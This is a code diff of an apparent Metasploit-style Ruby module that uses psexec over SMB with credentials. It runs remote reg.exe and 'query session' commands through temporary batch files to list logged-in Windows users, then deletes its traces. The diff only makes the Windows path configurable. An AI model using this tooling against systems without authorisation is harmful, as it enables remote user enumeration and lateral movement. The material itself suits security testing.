@@ -40,6 +40,7 @@ def initialize
40
40
OptString . new ( 'SMBSHARE' , [ true , 'The name of a writeable share on the server' , 'C$' ] ) ,
41
41
OptString . new ( 'USERNAME' , [ false , 'The name of a specific user to search for' , '' ] ) ,
42
42
OptString . new ( 'RPORT' , [ true , 'The Target port' , 445 ] ) ,
43
+ OptString . new ( 'WINPATH' , [ true , 'The name of the Windows directory' , 'WINDOWS' ] ) ,
43
44
] , self . class )
44
45
45
46
deregister_options ( 'RHOST' )
@@ -51,9 +52,9 @@ def peer
51
52
52
53
# This is the main controller function
53
54
def run_host ( ip )
54
- cmd = "C: \\ WINDOWS \\ SYSTEM32\\ cmd.exe"
55
- bat = "C: \\ WINDOWS \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .bat"
56
- text = "\\ WINDOWS \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
55
+ cmd = "%SYSTEMDRIVE% \\ #{ datastore [ 'WINPATH' ] } \\ SYSTEM32\\ cmd.exe"
56
+ bat = "%SYSTEMDRIVE% \\ #{ datastore [ 'WINPATH' ] } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .bat"
57
+ text = "\\ #{ datastore [ 'WINPATH' ] } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
57
58
smbshare = datastore [ 'SMBSHARE' ]
58
59
59
60
#Try and authenticate with given credentials
@@ -83,7 +84,7 @@ def run_host(ip)
83
84
def get_hku ( ip , smbshare , cmd , text , bat )
84
85
begin
85
86
# Try and query HKU
86
- command = "#{ cmd } /C echo reg.exe QUERY HKU ^> C: #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
87
+ command = "#{ cmd } /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE% #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
87
88
out = psexec ( command )
88
89
output = get_output ( ip , smbshare , text )
89
90
cleanout = Array . new
@@ -127,7 +128,7 @@ def report_user(username)
127
128
def check_hku_entry ( key , ip , smbshare , cmd , text , bat )
128
129
begin
129
130
key = key . split ( "HKEY_USERS\\ " ) [ 1 ] . chomp
130
- command = "#{ cmd } /C echo reg.exe QUERY \" HKU\\ #{ key } \\ Volatile Environment\" ^> C: #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
131
+ command = "#{ cmd } /C echo reg.exe QUERY \" HKU\\ #{ key } \\ Volatile Environment\" ^> %SYSTEMDRIVE% #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
131
132
out = psexec ( command )
132
133
if output = get_output ( ip , smbshare , text )
133
134
domain , username , dnsdomain , homepath , logonserver = "" , "" , "" , "" , ""
@@ -180,16 +181,16 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat)
180
181
end
181
182
end
182
183
183
- # Cleanup module. Gets rid of .txt and .bat files created in the WINDOWS \Temp directory
184
+ # Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']} \Temp directory
184
185
def cleanup_after ( cmd , text , bat )
185
186
begin
186
187
# Try and do cleanup command
187
- cleanup = "#{ cmd } /C del C: #{ text } & del #{ bat } "
188
+ cleanup = "#{ cmd } /C del %SYSTEMDRIVE% #{ text } & del #{ bat } "
188
189
print_status ( "#{ peer } - Executing cleanup" )
189
190
out = psexec ( cleanup )
190
191
rescue StandardError => cleanuperror
191
192
print_error ( "#{ peer } - Unable to processes cleanup commands: #{ cleanuperror } " )
192
- print_warning ( "#{ peer } - Maybe C: #{ text } must be deleted manually" )
193
+ print_warning ( "#{ peer } - Maybe %SYSTEMDRIVE% #{ text } must be deleted manually" )
193
194
print_warning ( "#{ peer } - Maybe #{ bat } must be deleted manually" )
194
195
return cleanuperror
195
196
end
@@ -198,7 +199,7 @@ def cleanup_after(cmd, text, bat)
198
199
# Method trys to use "query session" to determine logged in user
199
200
def query_session ( smbshare , ip , cmd , text , bat )
200
201
begin
201
- command = "#{ cmd } /C echo query session ^> C: #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
202
+ command = "#{ cmd } /C echo query session ^> %SYSTEMDRIVE% #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
202
203
out = psexec ( command )
203
204
userline = ""
204
205
if output = get_output ( ip , smbshare , text )
0 commit comments